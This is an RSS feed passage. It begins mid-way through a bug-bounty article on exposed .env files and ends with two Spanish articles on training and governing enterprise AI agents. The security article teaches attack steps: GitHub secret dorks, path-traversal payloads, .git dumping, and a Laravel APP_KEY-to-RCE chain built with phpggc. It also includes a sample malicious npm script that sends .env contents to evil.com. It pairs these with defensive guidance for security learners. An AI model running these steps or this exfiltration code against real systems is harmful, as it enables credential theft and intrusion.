of domains with curl requests to http://&lt;target&gt;/.env</blockquote><blockquote>Harvest — Extract all environment variables from accessible .env files</blockquote><blockquote>Escalate — Use exposed IAM access keys to create new IAM roles with administrative permissions</blockquote><blockquote>Propagate — Deploy new Lambda functions to continue scanning from within the victim’s own cloud infrastructure</blockquote><blockquote>Exfiltrate — Steal data from S3 buckets and other cloud storage</blockquote><blockquote>Extort — Leave ransom notes threatening to sell the data on the dark web</blockquote><p><strong>Source:</strong> <a href="https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/">Unit 42 — Large-Scale Cloud Extortion Operation</a></p><h3>The 2026 Security Affairs Study: 12 Million Files</h3><p>Fast forward to February 2026: Security Affairs reported that researchers had identified over 12 million exposed .env files across the internet. The primary exposure vectors:</p><ol><li>Web server misconfiguration — No rule blocking hidden files (files starting with a dot). Simply visiting https://example.com/.env returns the entire file.</li><li>Reverse proxies forwarding sensitive paths — Nginx or Apache misconfigured to serve static files from the project root.</li><li>Container images embedding secrets — Dockerfiles using COPY . . which includes .env in the image layers.</li><li>Forgotten backup files — .env.bak, .env.old, .env.save, env.txt left in web-accessible directories.</li><li>Git repository exposure — The .env file committed to source control, then the repo made public or accessed via exposed .git directories.</li></ol><h3>Part II: Real-World Bug Hunting with .env Files</h3><h3>Case Study 1: Azure Subdomain .env Disclosure</h3><p>Source: Infosec Writeups / Bug Bounty Program</p><p>A bug bounty hunter was conducting reconnaissance on a target and discovered a subdomain that appeared to be running Laravel. Using ffuf for content discovery, they ran a wordlist against the subdomain:</p><pre>ffuf -u https://target-subdomain.azurewebsites.net/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt</pre><p>The scan returned a 200 OK for /.env -- but accessing it directly returned a 403 Forbidden. The hunter noticed something critical: the CNAME record pointed to *.azurewebsites.com, and while the main domain had restrictions, the underlying Azure-hosted subdomain did not.</p><p>By accessing the raw Azure endpoint URL, the .env file was fully readable, revealing:</p><pre>DB_CONNECTION=mysql<br>DB_HOST=internal-db.mysql.database.azure.com<br>DB_PORT=3306<br>DB_DATABASE=production_db<br>DB_USERNAME=admin<br>DB_PASSWORD=P@ssw0rd!<br>MAIL_HOST=smtp.sendgrid.net<br>MAIL_USERNAME=apikey<br>MAIL_PASSWORD=SG.xxxxxxxxxxxxxxxx</pre><p>Impact: Database credentials + SMTP API key for SendGrid. With these, the hunter could have dumped the entire production database and sent phishing emails as the legitimate domain.</p><h3>Case Study 2: Laravel APP_KEY to RCE Chain</h3><p>Source: Multiple researchers (Mogwai Labs, Ghostable, Stratosally)</p><p>This is one of the most dangerous exploitation chains in the Laravel ecosystem. The .env file contains APP_KEY, which is the cryptographic backbone of the entire Laravel application. It is used for encrypting cookies, session data, and serialized objects.</p><p>The vulnerability: Laravel’s Crypt::decrypt() function uses PHP's unserialize() under the hood. If an attacker has the APP_KEY, they can craft a malicious encrypted payload that, when decrypted, triggers PHP object injection leading to Remote Code Execution.</p><p>The exploitation chain:</p><ol><li>Discover the APP_KEY — Find it in an exposed .env file, or via GitHub dorking (filename:.env APP_KEY).</li><li>Use phpggc — The PHP Generic Gadget Chains tool (phpggc) generates gadget chains for Laravel.</li></ol><pre># Clone phpggc<br>git clone https://github.com/ambionics/phpggc<br>cd phpggc<br><br># Generate a Laravel RCE gadget chain<br>php phpggc Laravel/RCE1 system 'id' --base64</pre><p>3. Encrypt with the APP_KEY — The attacker encrypts the malicious payload using the stolen APP_KEY:</p><pre># Pseudocode for encrypting with the leaked APP_KEY<br>$payload = base64_decode('&lt;phpggc_output&gt;');<br>$key = base64_decode(substr('base64:abcdef1234567890abcdef1234567890', 7));<br>$iv = random_bytes(16);<br>$encrypted = openssl_encrypt($payload, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);<br>$final = base64_encode($iv . $encrypted);</pre><p>4. Deliver the payload — Send the encrypted value as a Laravel session cookie or any other decrypted input.</p><p>5. RCE — Laravel decrypts the payload, PHP unserializes it, and the attacker’s command executes.</p><p>Real-world impact: In 2025, researchers found hundreds of Laravel APP_KEY values leaked on GitHub. Tools like phpggc make weaponization trivial. The attacker does not need SQL injection or file upload -- just one exposed .env file.</p><h3>Case Study 3: GitHub Dorking for .env Files at Scale</h3><p>Source: Multiple bug bounty hunters</p><p>Advanced GitHub dorking is one of the most productive techniques for finding exposed .env files. The key operators:</p><pre># Find all .env files across all public repositories<br>filename:.env<br><br># Find .env files in a specific organization<br>org:targetcompany filename:.env<br><br># Find .env files containing specific sensitive keys<br>filename:.env "AWS_ACCESS_KEY_ID"<br>filename:.env "DB_PASSWORD"<br>filename:.env "STRIPE_SECRET"<br>filename:.env "APP_KEY"<br><br># Find .env files mentioning a specific domain<br>"target.com" filename:.env<br><br># Combined: target company .env with API keys<br>org:targetcompany filename:.env ("API_KEY" OR "SECRET" OR "PASSWORD")<br><br># Search for config files broadly<br>filename:.env "production" AND ("sk_live" OR "AKIA" OR "service_role")</pre><p>Pro tip from hunters: Combine with extension: and path: operators:</p><pre># Search specific paths<br>path:config filename:.env<br>path:laravel filename:.env<br><br># Search for backup variants<br>filename:.env.bak<br>filename:.env.old<br>filename:.env.local<br>filename:.env.production</pre><p>The Snyk 2025 State of Secrets Report revealed that 28 million credentials were leaked on GitHub in 2025 alone, with .env files being one of the top sources.</p><h3>Case Study 4: Exposed Source Maps Leading to Stripe Secret Keys</h3><p>Source: Sentry Security Blog / Prodefense.io</p><p>A bug bounty hunter discovered that a target website had accidentally deployed JavaScript source maps to production. Source maps (.map files) are used during development to map minified JavaScript back to original source code for debugging.</p><p>The attacker used Sourcemapper (a tool that reconstructs original source from .map files):</p><pre># Install sourcemapper<br>pip install sourcemapper<br><br># Download and reconstruct source from an exposed source map<br>sourcemapper -url https://target.com/assets/js/app.js.map -output ./reconstructed/</pre><p>Inside the reconstructed source code, the hunter found:</p><pre>// Original source code exposed<br>const stripe = require('stripe');<br>const stripeClient = new stripe('sk_live_4eC39HqLyjWDarjtT1zdp7dc');<br><br>// Internal API endpoints<br>const adminApi = 'https://internal-admin.target.com/api/v2/';<br>const deleteUserEndpoint = `${adminApi}users/delete/`;</pre><p>Impact: The Stripe live secret key (starting with sk_live_) allowed the attacker to make unauthorized charges, refunds, and access all customer payment data. The exposed admin API endpoints opened the door for further exploitation.</p><h3>Case Study 5: Exposed .git Directory — Full Source Code in Version Control History</h3><p><em>Source: PortSwigger Web Security Academy / NCSC Switzerland</em></p><p>A production server had its .git directory publicly accessible. The .git folder contains the complete version control history of the project, including every file that was ever committed -- even files that were later deleted or whose secrets were "removed" in subsequent commits.</p><pre># Recursively download the entire .git directory from the live server<br>wget -r https://target.com/.git/<br><br># Check the Git log for secrets that were "removed"<br>git log -p | grep -E 'password|secret|key|token|AKIA'</pre><p>The NCSC Switzerland audit found 1,300 affected systems in Switzerland alone where .git folders were publicly accessible, exposing source code, access data, and passwords.</p><p>Real bug bounty example: A hunter found that a target’s .git directory was browsable. Running git log --diff revealed a commit message: <em>"Remove admin password from config"</em>. The diff showed the previous version of the config file with the hardcoded admin password still in Git history:</p><pre>git show &lt;commit_hash&gt;<br># Output:<br># - ADMIN_PASSWORD=SuperSecretPass123!<br># + ADMIN_PASSWORD=${ADMIN_PASSWORD_ENV}</pre><p>The password was removed from the current file but remained forever in Git history. The hunter logged in as administrator and completely took over the application.</p><h3>Part III: Advanced Reconnaissance &amp; Hunting Methodology</h3><h3>Phase 1: Subdomain Enumeration</h3><p>Before you can find exposed files, you need to know where to look.</p><pre># Passive enumeration<br>subfinder -d target.com -o subdomains.txt<br>amass enum -passive -d target.com -o amass.txt<br>assetfinder --subs-only target.com &gt;&gt; subdomains.txt<br><br># Active enumeration<br>ffuf -u https://FUZZ.target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt<br><br># Certificate Transparency<br>curl -s "https://crt.sh/?q=%25.target.com&amp;output=json" | jq -r '.[].name_value' | sort -u<br><br># Combine and deduplicate<br>cat subdomains.txt | sort -u | httpx -silent -o live_hosts.txt</pre><h3>Phase 2: Content Discovery for .env Files</h3><pre># Using ffuf for .env file discovery<br>ffuf -u https://target.com/FUZZ \<br>  -w wordlist.txt \<br>  -fc 403,404 \<br>  -t 100<br><br># .env-specific wordlist<br>echo ".env<br>.env.bak<br>.env.old<br>.env.save<br>.env.local<br>.env.production<br>.env.development<br>env.txt<br>env<br>.env.example" &gt; env_wordlist.txt<br><br># Recursive discovery with feroxbuster<br>feroxbuster -u https://target.com \<br>  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \<br>  -x env,txt,bak,old,swp,save,conf,config \<br>  --depth 3 \<br>  --silent</pre><h3>Phase 3: Advanced GitHub Dorking</h3><pre># Automated GitHub dorking with gitdorker<br>gitdorker -q target.com -tf ./tf/ -d ./Dorks/Alldorks.ndjson -o output<br><br># Manual targeted dorks<br>site:github.com target.com filename:.env<br>site:github.com target.com "DB_PASSWORD"<br>site:github.com target.com "sk_live_" "Stripe"<br>site:github.com target.com "AKIA" "AWS"<br>site:github.com "target" filename:".env" "APP_KEY"</pre><h3>Phase 4: Source Map Enumeration</h3><pre># Check for source maps on live targets<br>cat live_hosts.txt | while read url; do<br>  # Try common source map locations<br>  curl -s -o /dev/null -w "%{http_code}" "$url/assets/js/app.js.map"<br>  curl -s -o /dev/null -w "%{http_code}" "$url/static/js/main.js.map"<br>  curl -s -o /dev/null -w "%{http_code}" "$url/build/static/js/main.js.map"<br>done<br><br># Reconstruct and grep for secrets<br>sourcemapper -url https://target.com/js/app.js.map -output ./recon/<br>grep -rni "sk_live\|AKIA\|password\|secret\|token" ./recon/</pre><h3>Phase 5: Directory Traversal Testing</h3><p>Sometimes .env files are not at the root but accessible through path traversal:</p><pre># Path traversal payloads<br>ffuf -u https://target.com/page.php?file=FUZZ \<br>  -w traversal_wordlist.txt<br><br># Common traversal wordlist entries<br>../../../.env<br>..%252f..%252f..%252f.env<br>....//....//....//.env<br>..\;../..\;../.env<br>/static/../../../.env</pre><h3>Part IV: The Expanded Attack Surface Beyond .env</h3><h3>Source Maps</h3><p>Source maps (.map files) are JavaScript's hidden tell-all. They reconstruct minified code back to the original source, complete with comments, function names, and file structure.</p><p>What source maps can reveal:</p><ul><li>Original source code and business logic</li><li>Developer comments (TODOs, FIXMEs, known bugs)</li><li>Internal API endpoints and admin panels</li><li>Hardcoded credentials</li><li>Third-party integration details</li><li>Environment variable expectations</li></ul><pre># Check for common source map locations<br>curl -si https://target.com/static/js/main.abc123.js.map<br>curl -si https://target.com/assets/js/app.js.map<br>curl -si https://target.com/build/js/bundle.js.map<br><br># Parse source maps for secrets (Node.js)<br>npm install -g source-map-cli<br>curl -s https://target.com/js/app.js.map | source-map --raw | grep -E 'key|token|secret|password'</pre><h3>Exposed .git Directories</h3><p>The .git directory is perhaps the most dangerous exposure because it contains the entire history of the project.</p><p>Tools for .git exploitation:</p><pre># git-dumper - downloads entire .git repo<br>git-dumper https://target.com/.git/ ./downloaded_repo/<br><br># GitTools - extract from exposed .git<br>git clone https://github.com/internetwache/GitTools<br>cd GitTools/Dumper<br>./gitdumper.sh https://target.com/.git/ ./repo/<br>cd GitTools/Extractor<br>./extractor.sh ./repo/ ./extracted/<br><br># Search entire Git history for secrets<br>cd extracted<br>git log --all -p | grep -E '(password|secret|key|token|AKIA|sk_live)'<br>git log --all --diff-filter=D --summary | grep delete  # Find deleted files</pre><h3>Backup Files</h3><p>Developers frequently create backup files during maintenance:</p><pre># Common backup file extensions<br>.bak, .old, .orig, .copy, .tmp, .swp, .swo, .save, ~ (tilde)<br><br># Fuzzing for backup files<br>ffuf -u https://target.com/FUZZ \<br>  -w backup_wordlist.txt<br><br># Example wordlist entries<br>config.php.bak<br>.env.bak<br>database.php.old<br>wp-config.php~<br>index.php.swp<br>.env.save</pre><h3>Configuration Files</h3><p>Beyond .env, other config files often contain secrets:</p><pre># Common config files to hunt<br>config.json<br>config.php<br>config.js<br>settings.py<br>application.properties<br>application.yml<br>database.yml<br>credentials.json<br>service-account.json<br>wp-config.php</pre><h3>Part V: The Supply Chain Angle — Malicious Dependencies</h3><p>Malicious packages actively hunt for .env files during installation. Since npm install (and pip install, gem install, etc.) can execute arbitrary code, a compromised dependency can:</p><pre>// Malicious package.js (hypothetical but based on real incidents)<br>const fs = require('fs');<br>const https = require('https');<br><br>// Read .env file<br>const envContent = fs.readFileSync('.env', 'utf8');<br><br>// Exfiltrate to attacker server<br>https.get(`https://evil.com/exfil?data=${Buffer.from(envContent).toString('base64')}`);</pre><p>Real incidents:</p><ul><li>Shai-Hulud NPM worm — Designed to hunt and exfiltrate NPM and GitHub tokens at scale</li><li>@ctrl/tinycolor compromise (2.2M weekly downloads) — Attackers weaponized TruffleHog itself as a payload to find and exfiltrate secrets</li><li>node-ipc supply chain attack — Malicious versions published to target specific developers</li><li>Cursor AI editor incident (2024) — .env file contents were being sent to servers for tab completion, even when files were listed in .cursorignore</li></ul><h3>Part VI: Defense in Depth — How to Protect Against .env Exposure</h3><h3>Immediate Remediation</h3><ol><li>Block hidden files at the server level</li></ol><pre># Apache<br>&lt;FilesMatch "^\."&gt;<br>    Require all denied<br>&lt;/FilesMatch&gt;</pre><pre># Nginx<br>location ~ /\.(?!well-known) {<br>    deny all;<br>    return 404;<br>}</pre><pre>// IIS<br>&lt;system.webServer&gt;<br>    &lt;security&gt;<br>        &lt;requestFiltering&gt;<br>            &lt;hiddenSegments&gt;<br>                &lt;add segment=".env" /&gt;<br>            &lt;/hiddenSegments&gt;<br>        &lt;/requestFiltering&gt;<br>    &lt;/security&gt;<br>&lt;/system.webServer&gt;</pre><p>2. Remove .env from web-accessible directories -- Move it outside the document root.</p><p>3. Implement CSP headers to restrict where scripts can load from.</p><p>4. Disable source maps in production builds:</p><pre>// webpack.config.js<br>module.exports = {<br>  // ...<br>  devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',<br>};<br><br>// vite.config.js<br>export default defineConfig({<br>  build: {<br>    sourcemap: process.env.NODE_ENV !== 'production',<br>  },<br>});<br><br>// next.config.js<br>module.exports = {<br>  productionBrowserSourceMaps: false,<br>};</pre><h3>Prevention</h3><ol><li>Use a secrets manager — HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager</li><li>Implement .gitignore correctly and audit with git-secrets or trufflehog</li><li>Use pre-commit hooks to scan for secrets:</li></ol><pre># .pre-commit-config.yaml<br>repos:<br>  - repo: https://github.com/awslabs/git-secrets<br>    rev: master<br>    hooks:<br>      - id: git-secrets</pre><p>4. Rotate secrets regularly — If a .env file might have been exposed, rotate every credential in it immediately.</p><p>5. Scanner automation — Integrate secret scanning into CI/CD pipelines:</p><pre># TruffleHog scan in CI<br>trufflehog filesystem --directory=. --json | jq '.'</pre><p>6. Use ephemeral credentials — Short-lived tokens (IAM roles, OAuth2 token exchange) instead of long-lived API keys.</p><h3>Detection</h3><ol><li>Monitor for /.env requests in access logs</li><li>Use automated scanners like shhgit, trufflehog, git-secrets</li><li>Deploy canary tokens — Fake credentials placed in .env files that alert when used</li></ol><h3>Part VII: The 2026 Vibe Coding Problem</h3><p>The rise of AI-assisted development — “vibe coding” — has introduced a new dimension to the .env crisis. Research from 2026 shows that AI-generated code frequently makes mistakes that expose secrets:</p><ul><li>Hallucinated dependencies — AI tools generate package.json files with packages that do not exist in the registry, creating opportunities for typosquatting attacks</li><li>Hardcoded credentials — AI models trained on public code learn the pattern of hardcoding secrets and reproduce it</li><li>Source maps left enabled — Default build configurations generated by AI often leave source maps enabled for production</li><li>Missing server blocks — AI-generated deployment configs rarely include rules to block hidden files</li></ul><p>The fix: Treat AI-generated code as untrusted input. Audit every file for secrets before deployment. Use automated scanners in CI/CD.</p><h3>References</h3><ul><li><a href="https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation/">Unit 42 — Large-Scale Cloud Extortion Operation via Exposed .env Files</a></li><li><a href="https://securityaffairs.com/188590/hacking/12-million-exposed-env-files-reveal-widespread-security-failures.html">Security Affairs — 12 Million Exposed .env Files</a></li><li><a href="https://snyk.io/articles/state-of-secrets/">Snyk 2025 State of Secrets — 28M Credentials Leaked on GitHub</a></li><li><a href="https://blog.sentry.security/abusing-exposed-sourcemaps/">Sentry Security Blog — Abusing Exposed Sourcemaps</a></li><li><a href="https://mogwailabs.de/en/blog/2022/08/exploiting-laravel-based-applications-with-leaked-app_keys-and-queues/">Mogwai Labs — Exploiting Laravel with Leaked APP_KEYs</a></li><li><a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Web_Page_Content_for_Information_Leakage">OWASP — Review Web Page Content for Information Leakage</a></li><li><a href="https://github.com/techgaun/github-dorks">GitHub Dorking — techgaun/github-dorks</a></li><li><a href="https://www.invicti.com/web-application-vulnerabilities/dotenv-env-file">Invicti — Dotenv .env File Vulnerability</a></li><li><a href="https://vibe-eval.com/data-studies/frontend-secrets-leak-report-2026/">Vibe Eval 2026 — Frontend Secrets Leak Report</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vJZv0GNgEFzmfX6QmvfmOQ.png"><figcaption>Follow Me</figcaption></figure><p><em>GitHub: </em><a href="https://github.com/SecurityTalent"><em>SecurityTalent</em></a><em> | Medium: </em><a href="https://medium.com/@securitytalent"><em>Security Talent</em></a><em> | Twitter: </em><a href="https://twitter.com/Securi3yTalent"><em>Securi3yTalent</em></a><em> </em>| Facebook: <a href="https://www.facebook.com/Securi3ytalent/">Securi3ytalent</a> | Telegram: <a href="https://t.me/Securi3yTalent">Securi3yTalent</a></p><p>#CyberSecurity #BugBounty #BugBountyHunter #EthicalHacking #InfoSec #WebSecurity #ApplicationSecurity #AppSec #CloudSecurity #FrontendSecurity #WebDevelopment #JavaScript #ReactJS #Laravel #NodeJS #DevSecOps #OWASP #SecretsManagement #GitHub #GitHubDorks #SourceMaps #EnvFiles #SecurityResearch #PenetrationTesting #RedTeam #BlueTeam #CloudComputing #AWS #Azure #GoogleCloud #VibeCoding #AI #SecureCoding #DeveloperSecurity #TechBlog #Programming</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=60c4fd28ab4b" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/frontend-security-bug-hunting-the-env-file-crisis-and-real-world-exploitation-60c4fd28ab4b">Frontend Security &amp; Bug Hunting: The .env File Crisis and Real-World Exploitation</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[La experiencia de cliente no se instala: se entrena]]></title>
<description><![CDATA[Cada vez más compañías incorporan agentes de IA con la expectativa de ganar eficiencia y reducir costes. Pero cuando se analizan los resultados, el impacto real suele ser limitado. Muchas iniciativas no superan la fase piloto o generan experiencias irregulares que obligan al cliente a repetir ges...]]></description>
<link>https://tsecurity.de/de/3570048/it-nachrichten/la-experiencia-de-cliente-no-se-instala-se-entrena/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3570048/it-nachrichten/la-experiencia-de-cliente-no-se-instala-se-entrena/</guid>
<pubDate>Wed, 03 Jun 2026 17:03:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Cada vez más compañías incorporan <a href="https://www.cio.com/article/4076172/el-70-de-las-empresas-espanolas-ya-utiliza-agentes-de-ia.html">agentes de IA</a> con la expectativa de ganar eficiencia y reducir costes. Pero cuando se analizan los resultados, el impacto real suele ser limitado. Muchas iniciativas no superan la fase piloto o generan experiencias irregulares que obligan al cliente a repetir gestiones o regresar al canal humano.</p>



<p>El problema ya no es la tecnología. Los modelos son accesibles, potentes y evolucionan a gran velocidad. La diferencia está en cómo se entrenan, se integran y se gestionan dentro de la operativa diaria. La IA no falla por falta de capacidad técnica; falla cuando se despliega sin conocimiento del negocio.</p>



<h2 class="wp-block-heading">La IA no es escalable sin conocimiento operativo</h2>



<p>Un agente virtual puede responder preguntas desde el primer día. Lo que no puede hacer sin entrenamiento adecuado es entender cómo funciona realmente la compañía a la que representa. </p>



<p>Cada organización tiene procesos propios, excepciones frecuentes, reglas internas y una forma concreta de relacionarse con sus clientes. Ese conocimiento no está en el modelo de IA. Está en las personas que gestionan la operación cada día.</p>



<p>Cuando ese conocimiento no se traslada al agente conversacional, el resultado son respuestas correctas en teoría, pero desconectadas de la realidad. El agente informa, pero no resuelve. Conversa, pero no ejecuta. Y lo que parecía una mejora de eficiencia termina generando más derivaciones, más fricción y más repetición de contacto.</p>



<p>Por eso muchos proyectos no consiguen ganar dimensión. Para que un agente basado en IA escale de verdad, debe adaptarse a la complejidad real del negocio. Y eso exige método.</p>



<h2 class="wp-block-heading">Cuatro niveles para entrenar un agente de IA de forma eficaz y segura</h2>



<p>Para que un agente de IA sea realmente efectivo en un entorno corporativo, estructuramos su entrenamiento en cuatro niveles críticos que van desde la base del conocimiento hasta la ejecución técnica.</p>



<h3 class="wp-block-heading">Nivel 1: Estructuración del conocimiento (la base)</h3>



<p>Aquí se concentra aproximadamente el 70% del éxito del agente. No basta con proporcionarle información. Es necesario limpiar, curar y estructurar manuales, procedimientos y reglas operativas para convertirlos en una fuente de verdad sólida y sin ambigüedades. El objetivo aquí es garantizar que el agente aprende sobre procesos reales, no sobre documentos desactualizados o contradictorios. Si la base es débil, todo lo demás falla.</p>



<h3 class="wp-block-heading">Nivel 2: Evaluación operativa (la supervisión)</h3>



<p>Una vez que el agente comienza a interactuar con clientes, entra en una fase de supervisión constante. Se revisan conversaciones reales para asegurar que el tono es adecuado y, sobre todo, para detectar posibles respuestas dañinas. Aquí se evitan riesgos reputacionales y errores económicos, como promesas comerciales incorrectas por no entender bien el contexto. Esta supervisión continua convierte al agente en un sistema controlado y fiable.</p>



<h3 class="wp-block-heading">Nivel 3: Ajuste y calibración (el refinamiento)</h3>



<p>En esta fase se aplica criterio humano para pulir el comportamiento del modelo. Si se detectan confusiones o interpretaciones incorrectas, se ajustan las instrucciones internas y el <em>prompting</em>. El objetivo no es que la IA memorice respuestas rígidas, sino que comprenda la intención real del cliente de forma fluida y adaptable. Este nivel marca la diferencia entre un agente que responde y uno que entiende.</p>



<h3 class="wp-block-heading">Nivel 4: Integración técnica (la acción)</h3>



<p>El último nivel permite que el agente deje de ser un informador y se convierta en un verdadero resolutor. Para ello, se conecta con los sistemas internos de la compañía (CRM, ERP o bases de datos corporativas). Es esta integración la que hace posible que el agente consulte un saldo, modifique un contrato o ejecute una transacción de principio a fin de forma segura. Sin integración, la IA conversa. Con integración, la IA actúa.</p>



<h2 class="wp-block-heading">‘Human in the loop’: operar la IA como operamos un equipo</h2>



<p>En la gestión de personas nadie espera resultados sin formación, seguimiento y mejora continua. Con la IA ocurre exactamente lo mismo. El modelo <em>Human in the Loop</em> implica operar la inteligencia artificial con la misma lógica con la que se gestiona un equipo humano: formar, supervisar y mejorar cada día. Revisar conversaciones reales, ajustar comportamientos y corregir desviaciones antes de que impacten en el cliente.</p>



<p>Cuando se aplica esta disciplina, el agente deja de ser un experimento tecnológico y se convierte en una pieza integrada en la mecánica de la relación con el cliente. No trabaja aislado: está conectado a los sistemas, coordinado con los equipos y alineado con los objetivos del negocio.</p>



<h2 class="wp-block-heading">De proveedor tecnológico a <em>partner </em>estratégico</h2>



<p>La conversación sobre IA en experiencia de cliente ha evolucionado. Ya no gira en torno a qué herramienta elegir, sino a quién tiene la capacidad de gestionarla con criterio y conocimiento operativo. Las compañías no necesitan más tecnología. Necesitan capacidad para convertirla en resultados medibles y sostenibles.</p>



<p>Una vez que la IA se integra en la operativa real, el <em>contact center</em> se convierte en el entorno natural donde esa tecnología se entrena, se supervisa y se mejora. Es ahí donde confluyen conocimiento de procesos, visión transversal del cliente y capacidad de ejecución.</p>



<p>Es importante que las empresas del sector abordemos la IA desde esta lógica: no como un producto aislado, sino como una capacidad operativa que se entrena cada día. Por ello, acompañamos a las compañías a lo largo de todo el ciclo de vida del cliente, desde el diseño de la experiencia hasta la operación diaria. No se trata solo de desplegar agentes conversacionales, sino de entrenarlos, supervisarlos, calibrarlos e integrarlos con el mismo rigor con el que se gestiona un equipo humano.</p>



<p>La experiencia de cliente del futuro no se construye instalando tecnología y esperando resultados. Se construye combinando personas y sistemas, incorporando el conocimiento del negocio a cada decisión y gestionando la inteligencia artificial con disciplina operativa.</p>



&gt;<figure class="wp-block-media-text__media"><img decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/Angel-Santos_Evoluciona-by-Intelcia82.jpg?quality=50&amp;strip=all&amp;w=877" alt="Ángel Santos Novoa, CX&amp;Digital Consulting Director Spain en Evoluciona by Intelcia" class="wp-image-4180698 size-full" loading="lazy" width="400px"></figure><div class="wp-block-media-text__content">
<p><em><strong>El autor de este artículo es <a href="https://www.linkedin.com/in/angelsantosnovoa/" target="_blank" rel="nofollow">Ángel Santos Novoa</a>, director de CX &amp; Digital Consulting para España en Evoluciona by Intelcia. Con más de 15 años de experiencia en consultoría estratégica y transformación digital, ha desarrollado su carrera liderando proyectos de innovación, analítica avanzada y experiencia de cliente en firmas globales como Accenture e Intelcia. Ángel Santos es especialista en traducir la complejidad tecnológica en soluciones de negocio eficientes, con un enfoque orientado a resultados, la adaptabilidad y el liderazgo en entornos de alta presión.</strong></em></p>
</div></div>



<p></p>



<p></p>
</div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Por qué el CIO no puede ignorar la gobernanza de la IA]]></title>
<description><![CDATA[Los CIO que se apresuran a desplegar agentes de IA sin visibilidad real sobre sus procesos de toma de decisiones están coqueteando con el desastre. Según expertos en IA consultados, desplegar agentes sin procesos y herramientas de observabilidad crea una bomba de relojería con un potencial de con...]]></description>
<link>https://tsecurity.de/de/3562360/it-nachrichten/por-qu-el-cio-no-puede-ignorar-la-gobernanza-de-la-ia/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3562360/it-nachrichten/por-qu-el-cio-no-puede-ignorar-la-gobernanza-de-la-ia/</guid>
<pubDate>Mon, 01 Jun 2026 10:32:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Los CIO que se apresuran a desplegar agentes de IA sin visibilidad real sobre sus procesos de toma de decisiones están coqueteando con el desastre. Según expertos en IA consultados, desplegar agentes sin procesos y herramientas de observabilidad crea una bomba de relojería con un potencial de consecuencias negativas muy graves.</p>



<p>Muchas empresas están desplegando agentes de IA y esperan que aumenten la productividad con poca intervención humana, observa T.J. Marlin, CEO de la firma de seguridad de IA Guardrail Technologies. Ese es un enfoque equivocado, afirma. En su lugar, los equipos de TI necesitan vigilar de cerca a los agentes y ajustar políticas y prácticas a lo largo de todo el proceso agentivo. “No se trata solo de configurarlo y olvidarse”, dice. “Las organizaciones que hacen eso van a salir en las noticias porque les habrá ocurrido algo terrible”.</p>



<p>Muchas organizaciones están desplegando agentes rápidamente por miedo a quedarse atrás, sin entender los matices de la tecnología, señala Marlin. Algunos responsables de TI parecen comparar los agentes con la automatización robótica de procesos (RPA), cuando los resultados de RPA son mucho más deterministas, añade.</p>



<p>“Hay escasez de talento y de conocimiento y las personas están construyendo a gran velocidad sin comprobar si es correcto y si funciona como se espera”, afirma. “Todos esos son rasgos característicos de los peores desastres que he visto a lo largo de mi carrera”.</p>



<p>Un informe reciente del proveedor de gobernanza de agentes TrueFoundry pone cifras a los temores sobre agentes sin regulación. Una encuesta a más de 200 responsables de IA empresarial concluyó que el 54% de las organizaciones representadas no puede rastrear completamente lo que hacen sus agentes y el 56% no tiene un control centralizado de agentes ni una capa de gobernanza.</p>



<p>Aunque TrueFoundry tiene interés en impulsar la gobernanza de agentes, muchos otros expertos en IA ven los mismos problemas.</p>



<h2 class="wp-block-heading">Gobernar a ciegas</h2>



<p>Las dificultades con la gobernanza y la observabilidad son grandes obstáculos para el despliegue de agentes productivos, y muchas organizaciones están desplegando agentes sin crear una lista centralizada de los mismos, afirma Mahesh Kumar Goyal, experto sénior en datos e IA en Google. “La mayoría de las empresas no tienen ningún inventario de los agentes que ya están en producción: intentan gobernar lo que no pueden ver”, recalca.</p>



<p>Además, las herramientas tradicionales de seguridad SIEM y EDR se diseñaron para detectar anomalías humanas, no agentes descontrolados, apunta. “Un agente ejecutando código perfectamente 10.000 veces seguidas parece normal incluso si ha sido comprometido”, dice. Ejecutar agentes totalmente autónomos no es una buena idea, añade, y las organizaciones deben pensar en permisos de herramientas con privilegios mínimos, capas de aplicación de políticas que intermedien cada <em>prompt </em>y llamada a herramientas, y trazabilidad de extremo a extremo que una <em>prompts</em>, llamadas a herramientas y acciones posteriores en un único rastro auditable.</p>



<p>“El sistema financiero no funciona sobre la base de la confianza; funciona sobre la auditabilidad, la conciliación y los mecanismos de corte”, afirma Goyal. “Los agentes madurarán de la misma forma. La autonomía por niveles es la respuesta realista: libertad total en tareas de bajo riesgo, intervención humana en las que tienen consecuencias”.</p>



